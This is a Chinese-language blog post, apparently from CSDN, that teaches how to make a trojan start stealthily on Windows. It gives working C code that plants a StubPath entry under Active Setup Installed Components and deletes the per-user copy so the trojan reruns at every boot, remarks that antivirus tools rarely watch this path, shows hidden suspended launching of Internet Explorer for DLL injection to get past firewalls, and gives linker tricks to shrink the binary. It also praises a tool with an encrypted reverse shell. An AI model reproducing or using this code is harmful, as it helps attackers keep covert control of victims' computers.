ACTIVEX 木馬啓動方式

木馬的啓動方式有很多種,現在比較流行的就是註冊爲系統服務啓動(只適合Windows 2000以上的系統),或者以驅動的方式啓動。不過,最近以ActiveX方式啓動又比較流行了,因爲它適合Windows 9x或2000以上的機器,而且殺毒軟件(比如瑞星、江民、金山等)基本不會去監視這種啓動方式,比較隱蔽。以ActiveX方式啓動的木馬國外的比較多,於是就到網上查找相關代碼,發現了RECUB。
   其實RECUB是一個Windows平臺的遠程管理工具,其源代碼已經爲我們寫的很清楚了,下面簡要介紹一下RECUB。它能對Windows XP/2000/2003的反向連接Shell進行RC4加密;可以作爲IE瀏覽器的實例啓動並注入代碼來繞過防火牆;通過加密的ICMP請求來激活;沒 有監聽端口;沒有可見進程,以注入Explorer.exe的方式啓動和退出;可以通過ActiveX啓動;退出Shell的時候沒有事件日誌;可以使用 nc得到遠程Shell;EXE文件只有5.39K大小。怎麼樣,挺強的吧?下面我們就看一下它的部分代碼,具體如下:
  

  //Active啓動原理與代碼
  //初始化定義主鍵值
  char regkey[MAX_PATH];
  //定義服務端當前路徑
  char pathexe[MAX_PATH];
  //子鍵的定義與初始化
  HKEY childkey = 0 ;
  //獲取我們運行的服務端的當前路徑
  GetModuleFileName(NULL,pathexe,MAX_PATH);
  //註冊主鍵
wsprintf(regkey,"%s%s","Software//Microsoft//Active Setup//Installed Components//",REGKEY);
  //刪除HKEY_CURRENT_USER相關的啓動信息,這是ActiveX啓動的關鍵
  RegDeleteKey(HKEY_CURRENT_USER, ( LPCTSTR )regkey);
  //創建AxtiveX啓動信息,註冊HKEY_LOCAL_MACHINE
  RegCreateKey(HKEY_LOCAL_MACHINE, ( LPCTSTR )regkey, &childkey );
  //把我們獲取到的當前的路徑複製給主鍵
RegSetValueEx (childkey, ( LPCTSTR )"StubPath" ,0, REG_SZ, ( const BYTE* ) ( LPCTSTR )pathexe,lstrlen(pathexe)) ;
  //關閉HKEY的對象
  RegCloseKey (childkey);

  
   從以上的代碼我們可以清晰地看到,ActiveX啓動其實非常簡單,僅僅是在HKEY_LOCAL_MACHINE下的Software// Microsoft//Active Setup//Installed Components//中註冊一條信息就可以了。這條信息的鍵類似{36f8ec70-c29a-11d1-b5c7-0000f8051515}就可 以。其實,我們可以隨便的更改這些數字,只要不重複就可以了,而且我們還可以在這個鍵的下面新增一些子鍵和值(我們服務端的絕對地址)。
在上面的代碼中有一個關鍵代碼RegDeleteKey(HKEY_CURRENT_USER, ( LPCTSTR )regkey),其作用是每次啓動的時候清理HKEY_CURRENT_USER裏面的信息。因爲每當我們啓動服務端的時候,系統都會自動在 HKEY_CURRENT_USER中註冊一些HKEY_LOCAL_MACHINE中的信息,我們必須在程序中刪除這些,否則我們的服務端也只能有一次的自啓動機會。
  根據上面的介紹,這裏我就簡單的寫一段測試代碼以供大家參考。啓動VC,新建一個工程名稱爲test的Win32 Application,默認爲一個簡單的Win32程序,並假定我們的服務端是在系統目錄system32中的exloroe.exe。其代碼如下:
  

#include "stdafx.h"
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
// TODO: Place code here.
HKEY hKey;
TCHAR svExeFile[256] = "%SystemRoot%//system32//exloroe.exe";
RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE//Microsoft//Active Setup//Installed Components//{H9I12RB03-AB-B70-7-11d2-9CBD-0O00FS7AH6-9E2121BHJLK}",&hKey);
RegSetValue(hKey,NULL,REG_SZ,"系統設置",strlen("系統設置"));
RegSetValueEx(hKey,"stubpath",0,REG_EXPAND_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(hKey);
return 0;
}

  這個最簡單的程序就實現了在HKEY_LOCAL_MACHINE中註冊ActiveX的過程。在程序退出的時候,我們可以編寫下面的代碼來清除HKEY_CURRENT_USER中的相關信息,以達到我們的程序啓動的目的。
  
CreateThread(NULL,NULL,del,NULL,NULL,NULL); //ActiveX---
DWORD WINAPI del(LPVOID lpParam)
{
RegDeleteKey(HKEY_CURRENT_USER,"Software//Microsoft//Active Setup//Installed Components//{H9I12RB03-AB-B70-7-11d2-9CBD-0O00FS7AH6-9E2121BHJLK}");
return TRUE;
}

下 面我們再來看看DLL注入IE的木馬的啓動IE的方式。網上的開源代碼很多,不過80%的注入文件都是explorer.exe,這個雖說比較簡單,但很 穩定。說它簡單是因爲它默認總是啓動的,就不需要考慮它是否存在的問題。注入IE時,我們首先需要判斷是否有iexplorer.exe的進程,如果沒 有,我們就需要找到iexplorer.exe所在的目錄(一般都在C:/Program Files/Internet Explorer中,不過還是通過程序搜索最好,畢竟有好多網管把系統裝在其他的盤符之中)。
記得自己剛剛寫DLL程序的時候,啓動IE的方式使用下面的代碼:
WinExec("C://Program Files//Internet Explorer//iexplore.exe -nohome",SW_HIDE);
  也就是IE的空啓動。用這種方法實現,雖然IE啓動了,而且也挺隱蔽,但啓動時就佔用3000K的內存,這個是我們所不能接受的,我們希望程序啓動能儘可能少的佔用內存。後來在國外的一個站點上,我發現可以用下面的一種方法來啓動,佔用內存極小,其代碼如下:
  

//進程information
  PROCESS_INFORMATION pi = {0};
  //啓動信息
STARTUPINFO si = {0};
//存儲信息
ZeroMemory(&si,sizeof(si));
//信息的大小
si.cb = sizeof(si);
//相關信息
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
  //隱藏啓動
si.wShowWindow = SW_HIDE;
//隱藏
pi.hProcess = SW_HIDE;
//啓動的主函數
CreateProcess(
NULL,
//我們暫時就簡單的默認IE在C://Program Files//Internet Explorer//iexplore.exe中
"C://Program Files//Internet Explorer//iexplore.exe",
NULL,
NULL,
0,
CREATE_SUSPENDED,
NULL,
NULL,
&si,
&pi
);

最 後我想說一下VC編譯的優化處理問題。一是使用Release版而不用Debug版編譯,因爲使用Debug版編譯會生成許多垃圾信息。使用 Release版編譯的具體方法是在“build(編譯)->Configuration(配置)”中,將“Win32 debug”移去,然後再次編譯,就可以發現文件已經小了很多。二是設置自己的入口點函數。C或C++程序默認的入口函數是main()或WinMain (),但我們現在不用Main和WinMain,因爲這些都不是直接的入口點。編譯器在產生exe文件的時候,將爲我們生成真正的入口點。下面我們來定義 自己的入口函數,具體方法是把main或WinMain改成其它的名字(如MyFun),打開“Project(工程)->settings(設 置)”選項,選中“link”選項卡,在“Category(分類)”下拉列表中選“output”,在“Entry-Point symbol(輸入項)”中輸入我們剛纔定義的入口函數(MyFun),在源程序中也要做相應修改。三是優化最小大小;四是輸出,入口點改爲MyDll (隨便改啦);五是連接,/align:40。
  有了這些,基本上就能把我們的程序的體積減少很多,但每次這樣的去設置,在編程的時候會很不方便,我們乾脆直接寫一個頭文件(my.h),直接調用就少了很多的麻煩。下面是my.h的代碼。
  

  // Version 1.00
  // xgym
  // May 20th, 1999
  // [email][email protected][/email]
  #ifdef NDEBUG
  #pragma optimize("gsy",on)
  #pragma comment(linker,"/RELEASE")
  #ifdef _MERGE_RDATA_
  #pragma comment(linker,"/merge:.rdata=.data")
  #endif
  #pragma comment(linker,"/merge:.text=.data")
  #pragma comment(linker,"/merge:.reloc=.data")
  #if _MSC_VER >= 1000
  #endif
  #endif
  #pragma comment(linker,"/MERGE:.rdata=.data")
  #pragma comment(linker,"/MERGE:.text=.data")
  #pragma comment(lib,"msvcrt.lib")
  #if (_MSC_VER < 1300)
   #pragma comment(linker,"/IGNORE:4078")
   #pragma comment(linker,"/OPT:NOWIN98")
  #endif
  #define WIN32_LEAN_AND_MEAN

  
  有了這個頭文件,我們在編寫服務端的時候,爲了減少體積,直接“#include "my.h"”就可以了,這樣就少了很多的步驟,而效果卻是一樣的。


 

Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=1754048

發佈了12 篇原創文章 · 獲贊 4 · 訪問量 9萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章